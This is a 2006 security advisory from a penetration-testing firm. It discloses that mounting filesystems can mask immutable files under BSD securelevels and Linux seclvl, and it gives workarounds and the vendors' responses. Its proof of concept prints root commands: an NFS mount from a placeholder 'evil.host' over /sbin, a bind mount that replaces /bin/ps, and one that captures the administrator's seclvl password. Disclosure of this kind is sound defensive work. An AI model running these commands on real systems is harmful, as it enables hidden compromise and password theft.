+49 241 510081-0
kontakt@redteam-pentesting.de
DE
DE

Contact

Contact us

+49 241 510081-0
kontakt@redteam-pentesting.de
Contact form
RedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting Header
newer
back to overview
older

Text Version

BSD Securelevels: Circumventing protection of files flagged immutable

By mounting an arbitrary filesystem, it is possible to mask files flagged immutable with any user-defined files.

Details

  • Product:
    • FreeBSD up to 6.0-STABLE and 7.0-CURRENT
    • OpenBSD up to 3.8
    • DragonFly up to 1.2
    • Linux vanilla kernel up to 2.6.18.5
  • Vulnerability Type: Filesystem privilege circumvention
  • Security-Risk: medium
  • Advisory-URL: https://www.redteam-pentesting.de/advisories/rt-sa-2005-015
  • Advisory-Status: public
  • CVE: CVE-2005-4351
  • CVE-URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4351

Introduction

BSD-Securelevels try to harden the system by restricting certain functions. The FreeBSD manpage states: “The kernel runs with five different levels of security. Any super-user process can raise the security level, but no process can lower it.”

While running a securelevel of one or greater, files having the immutable flag cannot be changed anymore. Although files are protected from being changed permanently, masking them at runtime is still possible.

More Details

While the behaviour described above seems to provide effective protection against changing immutable files physically, the protection can be circumvented at runtime. By mounting another filesystem, immutable files can be masked. Masking means placing an arbitrary file at the location of an immutable file, without changing the immutable file itself. Every access to the masked file through its path in the filesystem will result in access to the masking file. This can be achieved by mounting an NFS or any other available filesystem on the directory where the immutable file resides. At runtime an attacker could replace arbitrary files. Although it is not possible to change the contents of immutable files permanently, the impact is similar. With Linux an attacker can even intercept the password input to lower the security level masking /sys/seclvl/passwd.

After searching mailinglist archives, we discovered that this problem was already discussed (http://www.monkey.org/openbsd/archive/tech/9906/msg00149.html, http://archives.neohapsis.com/archives/openbsd/2005-10/1523.html, http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/22142) before, but with no real result. The current behaviour is not good under security considerations. Especially bad is that it still seems to be a common mispractise for administrators to rely on securelevels to make it impossible for an attacker to change the running system. Using the described technique it would be possible to create a rootkit utilizing mount.

Proof of Concept

The following example uses an NFS share but any other usable filesystem also works.

root@# ls -lo /sbin
total 4884
-r-xr-xr-x  1 root  wheel     schg   7480 Nov 23 14:04 adjkerntz
-r-xr-xr-x  1 root  wheel     schg  13968 Nov 23 14:04 atacontrol
-r-xr-xr-x  1 root  wheel     schg  39828 Nov 23 14:04 atm
-r-xr-xr-x  1 root  wheel     schg  51772 Nov 23 14:04 atmconfig
-r-xr-xr-x  1 root  wheel     schg   7292 Nov 23 14:04 badsect
-r-xr-xr-x  2 root  wheel     schg  29336 Nov 23 14:04 bsdlabel
-r-xr-xr-x  1 root  wheel     schg  55972 Nov 23 14:04 camcontrol
-r-xr-xr-x  1 root  wheel     schg  10124 Nov 23 14:04 ccdconfig
-r-xr-xr-x  1 root  wheel     schg   5424 Nov 23 14:04 clri
[...]

root@# mount -t nfs evil.host:/exported /sbin
root@# ls -lo /sbin
total 4884
-r-xr-xr-x  1 root  wheel     -      8451 Nov 22 15:07 adjkerntz
-r-xr-xr-x  1 root  wheel     -     13485 Nov 22 15:07 atacontrol
-r-xr-xr-x  1 root  wheel     -     30957 Nov 22 15:07 atm
-r-xr-xr-x  1 root  wheel     -     51498 Nov 22 15:07 atmconfig
-r-xr-xr-x  1 root  wheel     -      7435 Nov 22 15:07 badsect
-r-xr-xr-x  2 root  wheel     -     24385 Nov 22 15:07 bsdlabel
-r-xr-xr-x  1 root  wheel     -     58591 Nov 22 15:07 camcontrol
-r-xr-xr-x  1 root  wheel     -     11585 Nov 22 15:07 ccdconfig
-r-xr-xr-x  1 root  wheel     -      6581 Nov 22 15:07 clri
[...]

With Linux an attacker does not even have to mount a complete filesystem but mount just a single file over an immutable file by using the following command:

root@# mount --bind /tmp/attacker_ps /bin/ps

To intercept the password of seclvl with Linux, an attacker can use the following:

root@# mount --bind /tmp/getpass /sys/seclvl/passwd

Any attempt to lower the securitylevel by an admin will store the password in /tmp/getpass.

Workaround

A possible workaround is to disable mounting of filesystems completely after booting. This can be achieved through hardening kernel extensions like OpenBSD’s systrace (http://www.citi.umich.edu/u/provos/systrace/index.html), FreeBSD’s MAC security extensions (http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/mac.html) or SELinux (https://selinuxproject.org/page/Main_Page). Administrators should furthermore not rely on securelevels for protecting files in case of an attack.

Fix

No fix is available at this time. The implementation of securelevels on NetBSD was found to be not vulnerable to this attack. No fix will be released for OpenBSD. To quote Theo de Raadt:

“Sorry, we are going to change nothing. Securelevels are useless.”

FreeBSD is still discussing the issue and no further response from the Linux maintainer has been received yet.

Security Risk

This kind of attack provides a medium security risk. An attacker is able to hide himself effectively on a compromised system by using the methods described above.

Discussion

While protecting data effectively against permanent tampering, the term “Securelevels” should not contain the word secure. Securelevels do not protect against system compromise and provide only limited security. To restrict access to a system a more secure and flexible approach like OpenBSD’s systrace (http://www.citi.umich.edu/u/provos/systrace/index.html), FreeBSD’s MAC Framework (http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/mac.html) or SELinux (https://selinuxproject.org/page/Main_Page) should be used.

History

  • 2005-11-05 Problem discovered while testing a product of iPisec Ltd.
  • 2005-11-29 Discussed the issue with iPisec management and technicians
  • 2005-12-02 Contacted the maintainer of BSD-Securelevels on Linux
  • 2005-12-02 Response from the maintainer of BSD-Securelevels on Linux, he
    wants to do what *BSD will be doing
  • 2005-12-04 Contacted the maintainers of different BSD derivates
  • 2005-12-05 Response from the FreeBSD Security Team - problem under
    discussion
  • 2005-12-06 Response from the OpenBSD - problem will not be fixed
  • 2005-12-15 Forwarded the *BSD responses to the Linux maintainer
  • 2006-01-05 No further response from the Linux maintainer
  • 2006-01-09 Public release
  • 2006-12-04 Updating affected Linux vanilla kernel: seclvl was removed
    in 2.6.19
  • 2009-05-08 Updated Advisory URL

RedTeam

RedTeam offers interested business parties penetration tests to validate their security. Doing security research RedTeam likes to enhance the common knowledgebase in security-related areas. More information about RedTeam can be found at https://www.redteam-pentesting.de.